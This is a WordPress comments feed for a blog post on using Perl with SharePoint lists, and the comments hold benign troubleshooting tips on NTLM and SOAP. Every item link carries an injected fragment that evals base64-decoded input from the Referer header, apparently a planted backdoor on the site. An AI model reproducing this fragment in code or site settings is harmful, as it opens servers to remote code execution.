<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments for www.squish.net</title>
	<atom:link href="http://www.squish.net/log/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.squish.net/log</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Fri, 10 Sep 2010 20:08:05 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by KGifford</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13682</link>
		<dc:creator>KGifford</dc:creator>
		<pubDate>Sun, 28 Mar 2010 17:02:12 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13682</guid>
		<description>I have this working to send form data to a SharePoint list. It is actually cached form data stored in xml for an offline client, but would be the same for a live scenario.

I am using ActivePerl 5.10.1.1007

I used ppm to install the following packages
SOAP::Lite
NTLM
LWP

I then created a subroutine, called as follows with a hash of the name-&gt;value form data:

&amp;sendFormSP(\%data);

In the subroutine the form data is loaded as follows:

my $params = shift;
my %data = %$params;

Then I create dynamic SOAP variables for each of the fields and load onto an array:

my @fieldvars = ();

foreach my $k (keys (%data)){
	${'field_' . $k} = SOAP::Data-&gt;name('Field', $data{$k})-&gt;attr({ Name =&gt; $k });
	push(@fieldvars, ${'field_' . $k});
}


Finally the $method SOAP variable is assigned as follows.

my $method = name('Method'=&gt; \@fieldvars)-&gt;attr({ ID =&gt; "anything", Cmd =&gt; 'New'});

And then the final few lines of code same as in the original post.

If anyone has any code to share please do so.

Thanks,
K</description>
		<content:encoded><![CDATA[<p>I have this working to send form data to a SharePoint list. It is actually cached form data stored in xml for an offline client, but would be the same for a live scenario.</p>
<p>I am using ActivePerl 5.10.1.1007</p>
<p>I used ppm to install the following packages<br />
SOAP::Lite<br />
NTLM<br />
LWP</p>
<p>I then created a subroutine, called as follows with a hash of the name-&gt;value form data:</p>
<p>&amp;sendFormSP(\%data);</p>
<p>In the subroutine the form data is loaded as follows:</p>
<p>my $params = shift;<br />
my %data = %$params;</p>
<p>Then I create dynamic SOAP variables for each of the fields and load onto an array:</p>
<p>my @fieldvars = ();</p>
<p>foreach my $k (keys (%data)){<br />
	${&#8217;field_&#8217; . $k} = SOAP::Data-&gt;name(&#8217;Field&#8217;, $data{$k})-&gt;attr({ Name =&gt; $k });<br />
	push(@fieldvars, ${&#8217;field_&#8217; . $k});<br />
}</p>
<p>Finally the $method SOAP variable is assigned as follows.</p>
<p>my $method = name(&#8217;Method&#8217;=&gt; \@fieldvars)-&gt;attr({ ID =&gt; &#8220;anything&#8221;, Cmd =&gt; &#8216;New&#8217;});</p>
<p>And then the final few lines of code same as in the original post.</p>
<p>If anyone has any code to share please do so.</p>
<p>Thanks,<br />
K</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Mig10</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13670</link>
		<dc:creator>Mig10</dc:creator>
		<pubDate>Tue, 02 Feb 2010 21:53:56 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13670</guid>
		<description>Thank you, this is very useful.

My SharePoint is using HTTPS, so I had to change the the $sp_domain value to "my_domain.com:443", and it worked well.</description>
		<content:encoded><![CDATA[<p>Thank you, this is very useful.</p>
<p>My SharePoint is using HTTPS, so I had to change the the $sp_domain value to &#8220;my_domain.com:443&#8243;, and it worked well.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by InvoiceGuy</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13658</link>
		<dc:creator>InvoiceGuy</dc:creator>
		<pubDate>Tue, 05 Jan 2010 22:16:25 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13658</guid>
		<description>I got this to work!  As an old Perl hacker transformed into SharePoint hacker, I'm thrilled at the new(old) possibities.  The .NET guys think I'm crazy, but I think the same about them.

Doing more with less,

@InvoiceGuy</description>
		<content:encoded><![CDATA[<p>I got this to work!  As an old Perl hacker transformed into SharePoint hacker, I&#8217;m thrilled at the new(old) possibities.  The .NET guys think I&#8217;m crazy, but I think the same about them.</p>
<p>Doing more with less,</p>
<p>@InvoiceGuy</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Tomek</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13646</link>
		<dc:creator>Tomek</dc:creator>
		<pubDate>Mon, 07 Dec 2009 17:18:37 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13646</guid>
		<description>thnk you so much for all these tips! Unfortunately  I didnt read comments carefully and I lost 2 days to investigate below bug with Authen::NTLM ;)

http://rt.cpan.org/Public/Bug/Display.html?id=9521</description>
		<content:encoded><![CDATA[<p>thnk you so much for all these tips! Unfortunately  I didnt read comments carefully and I lost 2 days to investigate below bug with Authen::NTLM <img src='http://www.squish.net/log/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://rt.cpan.org/Public/Bug/Display.html?id=9521" rel="nofollow">http://rt.cpan.org/Public/Bug/Display.html?id=9521</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by John</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13621</link>
		<dc:creator>John</dc:creator>
		<pubDate>Thu, 17 Sep 2009 19:23:40 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13621</guid>
		<description>Just a note: I hacked for literally a day on this, getting the 401 error issue, until I changed the following line:

my @credentials = ($sp_domain, "", $sp_endpoint, $sp_password);

to

my @credentials = ($sp_domain, "", $sp_username, $sp_password);

Now it works great!</description>
		<content:encoded><![CDATA[<p>Just a note: I hacked for literally a day on this, getting the 401 error issue, until I changed the following line:</p>
<p>my @credentials = ($sp_domain, &#8220;&#8221;, $sp_endpoint, $sp_password);</p>
<p>to</p>
<p>my @credentials = ($sp_domain, &#8220;&#8221;, $sp_username, $sp_password);</p>
<p>Now it works great!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Bill</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13614</link>
		<dc:creator>Bill</dc:creator>
		<pubDate>Wed, 02 Sep 2009 21:55:02 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13614</guid>
		<description>Thanks for posting this info - Here are some things to add I learned while getting it to work on my Sharepoint server...


I am using Perl 5.8.8 with SOAP::Lite 0.710.08 - all built from source - on CentOS 5.3


1. Escape the backslash in $sp_username = 'DOMAIN\\username';

2. The update would NOT work with a Library Document Item - you need to supply the ID  *AND*  FileRef - uses spaces - not %20 - for example:

$sp_ref = "http://sp.example.com/sites/mysite/My Library/file 1.txt";

my $field_id  = name('Field', $sp_id)-&gt;attr({ Name =&gt; 'ID'});
my $field_ref = name('Field', $sp_ref)-&gt;attr({ Name =&gt; 'FileRef'});
my $field_something = name('Field', $something_else)-&gt;attr({ Name =&gt; 'Something_x0020_Else'});
my $method = name('Method', [$field_id, $field_appname])-&gt;attr({ ID =&gt; 1, Cmd =&gt; 'Update'});


FYI - FileRef was NOT required when updating a List Item


3. Not sure what the $jira_name was set to in the example above - but all other examples (mostly VB/.NET based) I saw on the web had ID = 1 - this worked for me

4. I also had to make the change in comment #9 above to get the authentication to work - using Authen::NTLM 1.05</description>
		<content:encoded><![CDATA[<p>Thanks for posting this info - Here are some things to add I learned while getting it to work on my Sharepoint server&#8230;</p>
<p>I am using Perl 5.8.8 with SOAP::Lite 0.710.08 - all built from source - on CentOS 5.3</p>
<p>1. Escape the backslash in $sp_username = &#8216;DOMAIN\\username&#8217;;</p>
<p>2. The update would NOT work with a Library Document Item - you need to supply the ID  *AND*  FileRef - uses spaces - not %20 - for example:</p>
<p>$sp_ref = &#8220;http://sp.example.com/sites/mysite/My Library/file 1.txt&#8221;;</p>
<p>my $field_id  = name(&#8217;Field&#8217;, $sp_id)-&gt;attr({ Name =&gt; &#8216;ID&#8217;});<br />
my $field_ref = name(&#8217;Field&#8217;, $sp_ref)-&gt;attr({ Name =&gt; &#8216;FileRef&#8217;});<br />
my $field_something = name(&#8217;Field&#8217;, $something_else)-&gt;attr({ Name =&gt; &#8216;Something_x0020_Else&#8217;});<br />
my $method = name(&#8217;Method&#8217;, [$field_id, $field_appname])-&gt;attr({ ID =&gt; 1, Cmd =&gt; &#8216;Update&#8217;});</p>
<p>FYI - FileRef was NOT required when updating a List Item</p>
<p>3. Not sure what the $jira_name was set to in the example above - but all other examples (mostly VB/.NET based) I saw on the web had ID = 1 - this worked for me</p>
<p>4. I also had to make the change in comment #9 above to get the authentication to work - using Authen::NTLM 1.05</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Mayank</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13599</link>
		<dc:creator>Mayank</dc:creator>
		<pubDate>Wed, 01 Jul 2009 09:41:50 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13599</guid>
		<description>Hey! thanks! I am going to use it. I needed this badly. I hope I will meet success, which is much needed. 

bbye
Great Work!!!!</description>
		<content:encoded><![CDATA[<p>Hey! thanks! I am going to use it. I needed this badly. I hope I will meet success, which is much needed. </p>
<p>bbye<br />
Great Work!!!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Renee Pennington</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13598</link>
		<dc:creator>Renee Pennington</dc:creator>
		<pubDate>Mon, 29 Jun 2009 23:09:24 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13598</guid>
		<description>This was wonderful - thankyou.</description>
		<content:encoded><![CDATA[<p>This was wonderful - thankyou.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by squish</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13596</link>
		<dc:creator>squish</dc:creator>
		<pubDate>Fri, 12 Jun 2009 19:36:53 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13596</guid>
		<description>Hi Andy - I completely forgot about that issue I had.  I really should have mentioned that in my post.  I simply did what meep suggested - replace:

$domain = substr($challenge, $c_info-&gt;{domain}{offset}, $c_info-&gt;{domain}{len});

with:

$domain = &amp;unicode($domain);

If that doesn't help, you're going to have to turn on debugging on LWP and get the full headers and see if you work out what's going wrong.  Feel free to email them directly to me and I may be able to provide some insight.

James</description>
		<content:encoded><![CDATA[<p>Hi Andy - I completely forgot about that issue I had.  I really should have mentioned that in my post.  I simply did what meep suggested - replace:</p>
<p>$domain = substr($challenge, $c_info->{domain}{offset}, $c_info->{domain}{len});</p>
<p>with:</p>
<p>$domain = &#038;unicode($domain);</p>
<p>If that doesn&#8217;t help, you&#8217;re going to have to turn on debugging on LWP and get the full headers and see if you work out what&#8217;s going wrong.  Feel free to email them directly to me and I may be able to provide some insight.</p>
<p>James</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Talking to Sharepoint Lists with Perl by Andy</title>
		<link>http://www.squish.net/log/2008/10/11/perl-sharepoint/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-13595</link>
		<dc:creator>Andy</dc:creator>
		<pubDate>Fri, 12 Jun 2009 11:00:51 +0000</pubDate>
		<guid isPermaLink="false">http://log.squish.net/2008/10/11/perl-sharepoint/#comment-13595</guid>
		<description>Hey James, 

This info is really useful... i'm almost there, but keep hitting the dreaded "401.1 Unauthorised" error.

I'm running this code against an IIS 6.0 server and using the perl module Authen::Ntlm version 1.05.  I noticed that you commented on a defect that is supposedly fixed in this version because you were having some problems accessing an IIS/60 server.  (http://rt.cpan.org/Public/Bug/Display.html?id=9521)

Could you provide more information about the patch you applied because I think i'm having the same problem and no matter what I do, it doesn't change the outcome :(

Thanks in advance for any help!</description>
		<content:encoded><![CDATA[<p>Hey James, </p>
<p>This info is really useful&#8230; i&#8217;m almost there, but keep hitting the dreaded &#8220;401.1 Unauthorised&#8221; error.</p>
<p>I&#8217;m running this code against an IIS 6.0 server and using the perl module Authen::Ntlm version 1.05.  I noticed that you commented on a defect that is supposedly fixed in this version because you were having some problems accessing an IIS/60 server.  (http://rt.cpan.org/Public/Bug/Display.html?id=9521)</p>
<p>Could you provide more information about the patch you applied because I think i&#8217;m having the same problem and no matter what I do, it doesn&#8217;t change the outcome <img src='http://www.squish.net/log/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Thanks in advance for any help!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
